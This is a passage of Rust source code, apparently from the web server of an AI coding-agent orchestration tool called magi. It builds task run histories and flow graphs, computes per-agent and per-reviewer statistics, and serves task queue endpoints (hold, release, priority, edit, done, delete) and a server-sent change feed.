4558 prior: Option<(&'a str, RunStatus)>,
4560 last: bool,
4561}
4562
4563fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4566 let RunSlot {
4567 n,
4568 resumed,
4569 resumed_later,
4570 prior,
4571 last,
4572 } = at;
4573 let short = run::short_of(id).to_owned();
4574 let Some(s) = state else {
4575 return TaskRunView {
4576 n,
4577 id: id.to_owned(),
4578 short,
4579 kind: "unknown",
4580 status: None,
4581 readable: false,
4582 provisional: false,
4583 description:
4584 "This run's record could not be read by this build (written by a different \
4585 magi, or removed), so what kind of attempt it was is unknown."
4586 .to_owned(),
4587 outcome: String::new(),
4588 created_at: None,
4589 pr: None,
4590 exit: RunExit::Unreadable,
4591 attempt: AttemptCost::Unknown,
4592 branch: None,
4593 };
4594 };
4595 let branch = review_branch_of(&s.instruction);
4596 let kind = if resumed {
4597 "resume"
4598 } else if branch.is_some() {
4599 "review"
4600 } else if task.solo || s.candidates.len() == 1 {
4601 "solo"
4602 } else {
4603 "competition"
4604 };
4605 let mut description = match kind {
4606 "resume" => {
4607 format!("Resumed run {short}: the same run carried on instead of competing again.")
4608 }
4609 "review" => format!(
4610 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4611 branch.unwrap_or_default()
4612 ),
4613 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4614 _ => format!(
4615 "Competition: {} candidates judged blind.",
4616 s.candidates.len().max(1)
4617 ),
4618 };
4619 if !resumed && let Some((p, st)) = prior {
4620 description.push_str(&format!(
4621 " A retry: run {p} before it ended {}.",
4622 st.display_label()
4623 ));
4624 }
4625
4626 let status = s.status;
4627 let provisional = matches!(status, RunStatus::Stalled)
4628 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4629 let head = if resumed_later.is_some() {
4630 String::new()
4631 } else {
4632 match status {
4633 RunStatus::Merged => "Merged.".to_owned(),
4634 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4635 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4636 RunStatus::AlreadyInBase => {
4637 "Already in the base: this change landed under other commits, nothing was left to land."
4638 .to_owned()
4639 }
4640 RunStatus::Stalled => {
4641 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4642 .to_owned()
4643 }
4644 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4645 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4646 RunStatus::VerifiedNoop => {
4647 "Verified no-op: the candidates found nothing to change.".to_owned()
4648 }
4649 other if other.done() => format!("Ended {}.", other.display_label()),
4650 other => format!("In progress ({}).", other.display_label()),
4651 }
4652 };
4653 let why = if let Some(k) = resumed_later {
4654 let cause = if s.quota.is_empty() {
4661 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4662 } else {
4663 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4664 };
4665 format!(
4666 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4667 )
4668 } else if s.parked {
4669 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4670 .to_owned()
4671 } else if !status.done()
4672 || matches!(
4673 status,
4674 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4675 )
4676 {
4677 String::new()
4678 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4679 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4680 {
4681 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4682 .to_owned()
4683 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4684 " It left a pull request open, so the task was held for a person rather than retried."
4685 .to_owned()
4686 } else if matches!(status, RunStatus::VerifiedNoop) {
4687 " Held for a person to check the claim.".to_owned()
4688 } else if last {
4689 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4690 } else {
4691 " It spent an attempt, and the task moved on to the next run.".to_owned()
4692 };
4693 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4694 TaskRunView {
4695 n,
4696 id: id.to_owned(),
4697 short,
4698 kind,
4699 status: Some(status.as_str()),
4700 readable: true,
4701 provisional,
4702 description,
4703 outcome: format!("{head}{why}"),
4704 created_at: Some(s.created_at),
4705 pr: s.pr.as_ref().map(|p| p.url.clone()),
4706 exit,
4707 attempt: exit.cost(),
4708 branch: branch.map(str::to_owned),
4709 }
4710}
4711
4712#[derive(Debug, Serialize, PartialEq)]
4714struct FlowNode {
4715 key: String,
4717 kind: &'static str,
4719 label: String,
4720 status: Option<&'static str>,
4723 status_of: &'static str,
4726 note: Option<&'static str>,
4728 run_kind: Option<&'static str>,
4729 detail: Option<String>,
4730 decided: bool,
4732 readable: bool,
4733 href: Option<String>,
4734}
4735
4736#[derive(Debug, Serialize, PartialEq)]
4737struct FlowEdge {
4738 from: String,
4739 to: String,
4740 label: String,
4741 attempt: AttemptCost,
4742}
4743
4744#[derive(Debug, Serialize, PartialEq)]
4745struct FlowView {
4746 nodes: Vec<FlowNode>,
4747 edges: Vec<FlowEdge>,
4748 attempts: usize,
4750 max_attempts: usize,
4751}
4752
4753fn task_flow(
4762 task: &Task,
4763 history: &[TaskRunView],
4764 max_attempts: usize,
4765 origin: Option<&FollowUpOrigin>,
4766) -> FlowView {
4767 let node = |key: &str, kind, label: String| FlowNode {
4768 key: key.to_owned(),
4769 kind,
4770 label,
4771 status: None,
4772 status_of: "run",
4773 note: None,
4774 run_kind: None,
4775 detail: None,
4776 decided: false,
4777 readable: true,
4778 href: None,
4779 };
4780 let mut nodes = Vec::new();
4781 let mut edges: Vec<FlowEdge> = Vec::new();
4782 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4784 let mut n = node(
4785 "chat",
4786 "chat",
4787 format!("Chat {}", crate::queue::short(&link.id)),
4788 );
4789 n.href = Some(link.href);
4790 nodes.push(n);
4791 edges.push(FlowEdge {
4792 from: "chat".to_owned(),
4793 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
4794 label: "queued from chat".to_owned(),
4795 attempt: AttemptCost::None,
4796 });
4797 }
4798 if let Some(o) = origin {
4799 let mut n = match &o.parent {
4800 Some(p) => {
4801 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
4802 n.status = Some(p.status);
4803 n.status_of = "task";
4804 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
4805 n.href = Some(p.href.clone());
4806 n
4807 }
4808 None => {
4809 let mut n = node(
4810 "origin",
4811 "followup",
4812 format!("Follow-up of run {}", o.run.short),
4813 );
4814 n.detail = Some("merged run".to_owned());
4815 n.status = o.run.status;
4816 n.href = o.run.href.clone();
4817 if o.run.href.is_none() {
4818 n.readable = false;
4819 n.note = Some("unreadable");
4820 }
4821 n
4822 }
4823 };
4824 n.decided = true;
4825 let from = n.key.clone();
4826 nodes.push(n);
4827 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
4828 let more = o.findings.len().saturating_sub(shown.len());
4829 let label = match (shown.is_empty(), more) {
4830 (true, _) => "open findings".to_owned(),
4831 (false, 0) => format!("open findings {}", shown.join(", ")),
4832 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
4833 };
4834 edges.push(FlowEdge {
4835 from,
4836 to: "start".to_owned(),
4837 label,
4838 attempt: AttemptCost::None,
4839 });
4840 }
4841 nodes.push(node("start", "start", "Task queued".to_owned()));
4842 let mut prev = "start".to_owned();
4843 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4844 for (i, h) in history.iter().enumerate() {
4845 let key = format!("run-{}", h.n);
4846 let mut n = node(&key, "run", format!("Run {}", h.short));
4847 n.run_kind = Some(h.kind);
4848 n.readable = h.readable;
4849 n.href = Some(format!("#/runs/{}", h.id));
4850 n.decided = h.readable && !h.provisional;
4851 n.detail = h
4852 .branch
4853 .as_ref()
4854 .map(|b| format!("review-only run of branch {b}"));
4855 match h.exit {
4856 RunExit::Unreadable => n.note = Some("unreadable"),
4857 RunExit::Interrupted => n.note = Some("interrupted"),
4858 _ => {
4859 n.status = h.status;
4860 if h.provisional {
4861 n.note = Some("no verdict");
4862 }
4863 }
4864 }
4865 let into = match h.kind {
4866 "review" => Some(format!(
4867 "review-only run of branch {}",
4868 h.branch.as_deref().unwrap_or("?")
4869 )),
4870 "resume" => Some("resume the same run".to_owned()),
4871 _ if i > 0 => Some("retry".to_owned()),
4872 _ => None,
4873 };
4874 let label = match (prev_exit, into) {
4875 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4876 (Some((e, st)), None) => e.edge_label(st),
4877 (None, Some(i)) => i,
4878 (None, None) => "claimed".to_owned(),
4879 };
4880 edges.push(FlowEdge {
4881 from: prev.clone(),
4882 to: key.clone(),
4883 label,
4884 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4885 });
4886 prev_exit = Some((h.exit, h.status));
4887 prev = key;
4888 nodes.push(n);
4889 }
4890 let mut end = node("end", "end", task.status.as_str().to_owned());
4891 end.status = Some(task.status.as_str());
4892 end.status_of = "task";
4893 nodes.push(end);
4894 let (label, attempt) = match prev_exit {
4895 None => (
4896 format!("no run yet \u{2192} {}", task.status.as_str()),
4897 AttemptCost::None,
4898 ),
4899 Some((e, st)) if e.explains(task.status) => (
4900 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4901 e.cost(),
4902 ),
4903 Some((e, _)) => (
4904 format!("closed by hand: task is {}", task.status.as_str()),
4905 e.cost(),
4906 ),
4907 };
4908 edges.push(FlowEdge {
4909 from: prev,
4910 to: "end".to_owned(),
4911 label,
4912 attempt,
4913 });
4914 FlowView {
4915 nodes,
4916 edges,
4917 attempts: task.attempts,
4918 max_attempts,
4919 }
4920}
4921
4922fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4925 let mut history = Vec::with_capacity(task.runs.len());
4926 let mut seen: Vec<&str> = Vec::new();
4927 let mut prior: Option<(&str, RunStatus)> = None;
4928 for (i, run_id) in task.runs.iter().enumerate() {
4929 let state = read(run_id);
4930 let resumed = seen.contains(&run_id.as_str());
4931 seen.push(run_id);
4932 history.push(task_run_view(
4933 run_id,
4934 state.as_ref(),
4935 RunSlot {
4936 n: i + 1,
4937 resumed,
4938 resumed_later: task.runs[i + 1..]
4939 .iter()
4940 .position(|r| r == run_id)
4941 .map(|off| i + off + 2),
4942 prior,
4943 last: i + 1 == task.runs.len(),
4944 },
4945 task,
4946 ));
4947 if let Some(s) = &state {
4948 prior = Some((run::short_of(run_id), s.status));
4949 }
4950 }
4951 history
4952}
4953
4954async fn task_detail(
4955 State(ui): State<Arc<Ui>>,
4956 Path(id): Path<String>,
4957) -> ApiResult<Json<TaskDetailView>> {
4958 blocking(move || {
4959 let id = resolve_task(&ui.queue, &id)?;
4960 let task = ui
4961 .queue
4962 .get(&id)
4963 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4964 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4965 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4966 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4967 let max_attempts = daemon::Opts::default().max_attempts;
4968 let origin = task.followup.as_ref().map(|fu| {
4969 followup_origin(
4970 fu,
4971 |tid| ui.queue.get(tid).ok(),
4972 |rid| read_run(&ui.runs, rid).ok(),
4973 )
4974 });
4975 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
4976 Ok(Json(TaskDetailView {
4977 max_attempts,
4978 flow,
4979 followup_origin: origin,
4980 history,
4981 runs_unreadable,
4982 attempts_note: ATTEMPTS_NOTE,
4983 task: TaskView::with_inventory(task, &inv),
4984 }))
4985 })
4986 .await
4987}
4988
4989#[derive(Debug, Serialize)]
4993struct RateView {
4994 pct: f64,
4995 denominator: usize,
4996}
4997
4998impl RateView {
4999 fn of(numerator: usize, denominator: usize) -> Option<Self> {
5000 (denominator > 0).then(|| Self {
5001 pct: 100.0 * numerator as f64 / denominator as f64,
5002 denominator,
5003 })
5004 }
5005}
5006
5007#[derive(Debug, Serialize)]
5012struct StatsTotalsView {
5013 runs: usize,
5014 merged: usize,
5015 ready: usize,
5016 blocked: usize,
5017 failed: usize,
5018 stalled: usize,
5019 verified_noop: usize,
5020 superseded: usize,
5021 in_progress: usize,
5022 completion_rate: Option<RateView>,
5023 tallied: usize,
5024 split: usize,
5025 split_rate: Option<RateView>,
5026 deliberated: usize,
5027 minds_changed: usize,
5028 converged: usize,
5029 review_rounds: usize,
5030}
5031
5032impl From<&stats::Totals> for StatsTotalsView {
5033 fn from(t: &stats::Totals) -> Self {
5034 Self {
5035 runs: t.runs,
5036 merged: t.merged,
5037 ready: t.ready,
5038 blocked: t.blocked,
5039 failed: t.failed,
5040 stalled: t.stalled,
5041 verified_noop: t.verified_noop,
5042 superseded: t.superseded,
5043 in_progress: t.in_progress,
5044 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5045 tallied: t.tallied,
5046 split: t.split,
5047 split_rate: RateView::of(t.split, t.tallied),
5048 deliberated: t.deliberated,
5049 minds_changed: t.minds_changed,
5050 converged: t.converged,
5051 review_rounds: t.review_rounds,
5052 }
5053 }
5054}
5055
5056#[derive(Debug, Serialize)]
5058struct AgentStatsView {
5059 agent: String,
5060 entered: usize,
5061 wins: usize,
5062 empty: usize,
5063 win_rate: Option<RateView>,
5064 competitive_entered: usize,
5065 competitive_wins: usize,
5066 competitive_win_rate: Option<RateView>,
5067 solo_entered: usize,
5068 solo_adopted: usize,
5069 solo_adoption_rate: Option<RateView>,
5070}
5071
5072impl From<&stats::AgentStats> for AgentStatsView {
5073 fn from(a: &stats::AgentStats) -> Self {
5074 Self {
5075 agent: a.agent.clone(),
5076 entered: a.entered,
5077 wins: a.wins,
5078 empty: a.empty,
5079 win_rate: RateView::of(a.wins, a.entered),
5080 competitive_entered: a.competitive_entered,
5081 competitive_wins: a.competitive_wins,
5082 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5083 solo_entered: a.solo_entered,
5084 solo_adopted: a.solo_adopted,
5085 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5086 }
5087 }
5088}
5089
5090#[derive(Debug, Serialize)]
5094struct ReviewerStatsView {
5095 agent: String,
5096 rounds: usize,
5097 seated: usize,
5098 submitted: usize,
5099 adopted: usize,
5100 unique: usize,
5101 timeouts: usize,
5102 adopted_per_round: Option<f64>,
5103 precision: Option<RateView>,
5104 unique_rate: Option<RateView>,
5105 timeout_rate: Option<RateView>,
5106}
5107
5108impl From<&stats::ReviewerStats> for ReviewerStatsView {
5109 fn from(r: &stats::ReviewerStats) -> Self {
5110 Self {
5111 agent: r.agent.clone(),
5112 rounds: r.rounds,
5113 seated: r.seated,
5114 submitted: r.submitted,
5115 adopted: r.adopted,
5116 unique: r.unique,
5117 timeouts: r.timeouts,
5118 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5119 precision: RateView::of(r.adopted, r.submitted),
5120 unique_rate: RateView::of(r.unique, r.submitted),
5121 timeout_rate: RateView::of(r.timeouts, r.seated),
5122 }
5123 }
5124}
5125
5126#[derive(Debug, Serialize)]
5132struct AdvisorStatsView {
5133 agent: String,
5134 seated: usize,
5135 proposed: usize,
5136 absent: usize,
5137 faint: usize,
5138 strong: usize,
5139 reflection_rate: Option<RateView>,
5140}
5141
5142impl From<&stats::AdvisorStats> for AdvisorStatsView {
5143 fn from(a: &stats::AdvisorStats) -> Self {
5144 Self {
5145 agent: a.agent.clone(),
5146 seated: a.seated,
5147 proposed: a.proposed,
5148 absent: a.absent,
5149 faint: a.faint,
5150 strong: a.strong,
5151 reflection_rate: RateView::of(a.strong, a.proposed),
5152 }
5153 }
5154}
5155
5156#[derive(Debug, Serialize)]
5158struct E2eStatsView {
5159 rounds: usize,
5160 failures: usize,
5161 sole_detections: usize,
5162 deferred: usize,
5163 sole_rate: Option<RateView>,
5164}
5165
5166impl From<&stats::E2eStats> for E2eStatsView {
5167 fn from(e: &stats::E2eStats) -> Self {
5168 Self {
5169 rounds: e.rounds,
5170 failures: e.failures,
5171 sole_detections: e.sole_detections,
5172 deferred: e.deferred,
5173 sole_rate: RateView::of(e.sole_detections, e.failures),
5174 }
5175 }
5176}
5177
5178#[derive(Debug, Serialize)]
5186struct ReleaseBumpStatsView {
5187 merged: usize,
5188 recorded: usize,
5189 pr_opened: usize,
5190 automerge_enabled: usize,
5191 merged_directly: usize,
5192 needs_attention: usize,
5193 clean: usize,
5194 coverage_rate: Option<RateView>,
5195 automerge_rate: Option<RateView>,
5196 attention_rate: Option<RateView>,
5197}
5198
5199impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5200 fn from(b: &stats::ReleaseBumpStats) -> Self {
5201 Self {
5202 merged: b.merged,
5203 recorded: b.recorded,
5204 pr_opened: b.pr_opened,
5205 automerge_enabled: b.automerge_enabled,
5206 merged_directly: b.merged_directly,
5207 needs_attention: b.needs_attention,
5208 clean: b.clean(),
5209 coverage_rate: RateView::of(b.recorded, b.merged),
5210 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5211 attention_rate: RateView::of(b.needs_attention, b.recorded),
5212 }
5213 }
5214}
5215
5216#[derive(Debug, Serialize)]
5218struct TaskCountsView {
5219 queued: usize,
5220 running: usize,
5221 done: usize,
5222 failed: usize,
5223 held: usize,
5224 blocked: usize,
5225 parked: usize,
5226}
5227
5228impl From<crate::queue::TaskCounts> for TaskCountsView {
5229 fn from(c: crate::queue::TaskCounts) -> Self {
5230 Self {
5231 queued: c.queued,
5232 running: c.running,
5233 done: c.done,
5234 failed: c.failed,
5235 held: c.held,
5236 blocked: c.blocked,
5237 parked: c.parked,
5238 }
5239 }
5240}
5241
5242#[derive(Debug, Serialize)]
5248struct RepoSummaryView {
5249 repo: String,
5252 name: String,
5254 runs: usize,
5255 completion_rate: Option<RateView>,
5256}
5257
5258impl From<&stats::RepoStats> for RepoSummaryView {
5259 fn from(r: &stats::RepoStats) -> Self {
5260 let t = &r.stats.totals;
5261 Self {
5262 repo: r.repo.to_string_lossy().into_owned(),
5263 name: r.name.clone(),
5264 runs: t.runs,
5265 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5266 }
5267 }
5268}
5269
5270#[derive(Debug, Serialize)]
5276struct StatsView {
5277 totals: StatsTotalsView,
5278 agents: Vec<AgentStatsView>,
5280 reviewers: Vec<ReviewerStatsView>,
5282 advisors: Vec<AdvisorStatsView>,
5284 e2e: E2eStatsView,
5285 release_bumps: ReleaseBumpStatsView,
5286 queue: TaskCountsView,
5287 runs_unreadable: usize,
5297 repos: Vec<RepoSummaryView>,
5301 daily: Vec<DailyStatsView>,
5306 repo: Option<String>,
5310 retired_hidden: Vec<String>,
5314}
5315
5316#[derive(Debug, Serialize)]
5318struct DailyStatsView {
5319 date: String,
5321 runs: usize,
5322 merged: usize,
5323 ready: usize,
5324 other: usize,
5325 completion_rate: Option<RateView>,
5327}
5328
5329impl From<&stats::DayBucket> for DailyStatsView {
5330 fn from(b: &stats::DayBucket) -> Self {
5331 Self {
5332 date: b.date.to_string(),
5333 runs: b.runs,
5334 merged: b.merged,
5335 ready: b.ready,
5336 other: b.other,
5337 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5338 }
5339 }
5340}
5341
5342const STATS_DAILY_DAYS: usize = 30;
5344
5345#[derive(Debug, Default, Deserialize)]
5354#[serde(default)]
5355struct StatsQuery {
5356 repo: Option<String>,
5357 all: bool,
5359}
5360
5361async fn stats_get(
5368 State(ui): State<Arc<Ui>>,
5369 Query(q): Query<StatsQuery>,
5370) -> ApiResult<Json<StatsView>> {
5371 blocking(move || {
5372 let states: Vec<RunState> = run_ids(&ui.runs)
5373 .into_iter()
5374 .filter_map(|id| read_run(&ui.runs, &id).ok())
5375 .collect();
5376 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5377 .iter()
5378 .map(RepoSummaryView::from)
5379 .collect();
5380 let mut scoped: Vec<&RunState> = states.iter().collect();
5381 let mut collected = match &q.repo {
5382 Some(repo) => {
5383 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5384 if filtered.is_empty() {
5385 return Err(ApiError::not_found(format!(
5386 "no runs recorded against repo `{repo}`"
5387 )));
5388 }
5389 scoped = filtered.clone();
5390 stats::collect_refs(filtered)
5391 }
5392 None => stats::collect(&states),
5393 };
5394 if !q.all {
5395 let repo = q
5396 .repo
5397 .as_deref()
5398 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5399 stats::retain_current_roster(&mut collected, &repo);
5400 }
5401 let daily = stats::daily(
5402 scoped,
5403 jiff::Zoned::now().date(),
5404 &jiff::tz::TimeZone::system(),
5405 STATS_DAILY_DAYS,
5406 );
5407 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5408 Ok(Json(StatsView {
5409 totals: StatsTotalsView::from(&collected.totals),
5410 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5411 reviewers: collected
5412 .reviewers
5413 .iter()
5414 .map(ReviewerStatsView::from)
5415 .collect(),
5416 advisors: collected
5417 .advisors
5418 .iter()
5419 .map(AdvisorStatsView::from)
5420 .collect(),
5421 e2e: E2eStatsView::from(&collected.e2e),
5422 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5423 queue: TaskCountsView::from(queue_counts),
5424 runs_unreadable: runs_unreadable(&ui.runs),
5425 repos,
5426 daily: daily.iter().map(DailyStatsView::from).collect(),
5427 repo: q.repo.clone(),
5428 retired_hidden: collected.retired_hidden.clone(),
5429 }))
5430 })
5431 .await
5432}
5433
5434#[derive(Debug, Default, Deserialize)]
5437#[serde(default, deny_unknown_fields)]
5438struct HoldBody {
5439 reason: Option<String>,
5440}
5441
5442async fn queue_hold(
5443 State(ui): State<Arc<Ui>>,
5444 Path(id): Path<String>,
5445 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5446) -> ApiResult<Json<TaskView>> {
5447 let body = match body {
5451 Ok(Json(body)) => body,
5452 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5453 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5454 };
5455 let reason = body.reason.filter(|r| !r.trim().is_empty());
5456 mutate(ui, id, move |t| {
5457 t.hold_manual(reason.clone());
5458 Ok(())
5459 })
5460 .await
5461}
5462
5463async fn queue_release(
5464 State(ui): State<Arc<Ui>>,
5465 Path(id): Path<String>,
5466) -> ApiResult<Json<TaskView>> {
5467 mutate(ui, id, |t| {
5468 t.release();
5469 Ok(())
5470 })
5471 .await
5472}
5473
5474#[derive(Debug, Deserialize)]
5475#[serde(deny_unknown_fields)]
5476struct ImplementersBody {
5477 implementers: u8,
5478}
5479
5480async fn queue_implementers(
5481 State(ui): State<Arc<Ui>>,
5482 Path(id): Path<String>,
5483 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5484) -> ApiResult<Json<TaskView>> {
5485 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5486 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5487}
5488
5489#[derive(Debug, Deserialize)]
5491#[serde(deny_unknown_fields)]
5492struct PriorityBody {
5493 priority: i32,
5494}
5495
5496async fn queue_priority(
5502 State(ui): State<Arc<Ui>>,
5503 Path(id): Path<String>,
5504 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5505) -> ApiResult<Json<TaskView>> {
5506 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5507 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5508}
5509
5510#[derive(Debug, Deserialize)]
5512#[serde(deny_unknown_fields)]
5513struct EditBody {
5514 title: String,
5515 instruction: String,
5516 #[serde(default)]
5519 force: bool,
5520}
5521
5522async fn queue_edit(
5526 State(ui): State<Arc<Ui>>,
5527 Path(id): Path<String>,
5528 body: std::result::Result<Json<EditBody>, JsonRejection>,
5529) -> ApiResult<Json<TaskView>> {
5530 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5531 let mut judged: Option<(String, PathBuf)> = None;
5535 if !body.force {
5536 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5537 let (id, text) = (id.clone(), body.instruction.clone());
5538 let (seen, hits) = blocking(move || {
5539 let id = resolve_task(&queue, &id)?;
5540 let t = queue.get(&id)?;
5541 if text == t.instruction {
5542 return Ok((None, Vec::new()));
5543 }
5544 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5545 Ok((Some((t.instruction, t.repo)), hits))
5546 })
5547 .await?;
5548 if let Some((_, repo)) = &seen {
5549 let cfg = crate::config::Config::discover(repo, None)
5550 .ok()
5551 .map(|(c, _)| c);
5552 let screened =
5553 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5554 .await
5555 .map_err(|dup| {
5556 ApiError::conflict(dup.render(
5557 "Nothing was saved. If it is not a duplicate, repeat the request \
5558 with \"force\": true.",
5559 ))
5560 })?;
5561 if let crate::dupes::Screened::Unjudged(why) = screened {
5562 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5563 }
5564 }
5565 judged = seen;
5566 }
5567 let force = body.force;
5568 mutate(ui, id, move |t| {
5569 if !force && body.instruction != t.instruction {
5570 match &judged {
5571 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5572 _ => {
5573 anyhow::bail!("the task changed while it was being checked; repeat the request")
5574 }
5575 }
5576 }
5577 t.edit(body.title.clone(), body.instruction.clone())
5578 })
5579 .await
5580}
5581
5582async fn queue_done(
5590 State(ui): State<Arc<Ui>>,
5591 Path(id): Path<String>,
5592) -> ApiResult<Json<TaskView>> {
5593 let home = ui.home.clone();
5594 mutate(ui, id, move |t| {
5595 t.succeed();
5596 crate::daemon::supersede_prior_runs(t, &home);
5604 Ok(())
5605 })
5606 .await
5607}
5608
5609async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5617 blocking(move || {
5618 let id = resolve_task(&ui.queue, &id)?;
5619 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5620 ui.queue
5621 .remove(&id, in_flight, &ui.questions)
5622 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5623 Ok(StatusCode::NO_CONTENT)
5624 })
5625 .await
5626}
5627
5628async fn mutate(
5637 ui: Arc<Ui>,
5638 id: String,
5639 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5640) -> ApiResult<Json<TaskView>> {
5641 blocking(move || {
5642 let id = resolve_task(&ui.queue, &id)?;
5643 let _claim = ui.queue.claim(&id).map_err(|e| {
5648 ApiError::conflict(format!(
5649 "{e:#} - a daemon is running this task, so it cannot be \
5650 changed from here yet"
5651 ))
5652 })?;
5653 let mut task = ui.queue.get(&id)?;
5654 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5655 Ok(dup) => ApiError::conflict(dup.render(
5656 "Nothing was saved. If it is not a duplicate, repeat the request with \
5657 \"force\": true.",
5658 )),
5659 Err(e) => ApiError::bad_request_from(e),
5660 })?;
5661 ui.queue.put(&mut task)?;
5662 Ok(Json(TaskView::from(task)))
5663 })
5664 .await
5665}
5666
5667async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5675 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5676 tokio::spawn(async move {
5677 let mut ticker = tokio::time::interval(POLL);
5678 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5679 let mut stamps: Option<[Stamps; 3]> = None;
5680 loop {
5681 ticker.tick().await;
5684 let state = Arc::clone(&ui);
5685 let revisions = tokio::task::spawn_blocking(move || {
5686 let stamps = [
5687 store_stamps(state.queue.root(), false),
5688 store_stamps(&state.runs, true),
5689 store_stamps(state.talks.root(), false),
5690 ];
5691 let revisions = (
5692 stamps_revision(&stamps[0]),
5693 stamps_revision(&stamps[1]),
5694 state.questions.revision(),
5695 stamps_revision(&stamps[2]),
5696 state.notices.revision(),
5697 state.lock_loop().rev,
5701 );
5702 (revisions, stamps)
5703 })
5704 .await;
5705 let Ok((revisions, next_stamps)) = revisions else {
5706 break;
5707 };
5708 if last == Some(revisions) {
5709 continue;
5710 }
5711 let mut payload = serde_json::json!({
5712 "queue_rev": revisions.0,
5713 "runs_rev": revisions.1,
5714 "questions_rev": revisions.2,
5715 "talks_rev": revisions.3,
5716 "notifications_rev": revisions.4,
5717 "loop_rev": revisions.5,
5718 });
5719 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5720 for (index, (key, rev)) in [
5721 ("queue_delta", base.0),
5722 ("runs_delta", base.1),
5723 ("talks_delta", base.3),
5724 ]
5725 .into_iter()
5726 .enumerate()
5727 {
5728 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5729 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5731 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5732 }
5733 }
5734 }
5735 last = Some(revisions);
5736 stamps = Some(next_stamps);
5737 let Ok(event) = Event::default().event("change").json_data(payload) else {
5739 break;
5740 };
5741 if tx.send(event).await.is_err() {
5742 break;
5743 }
5744 }
5745 });
5746 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5747 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5748}
5749
5750type Stamps = HashMap<String, (u128, u64)>;
5751
5752fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5754 std::fs::read_dir(root)
5755 .into_iter()
5756 .flatten()
5757 .flatten()
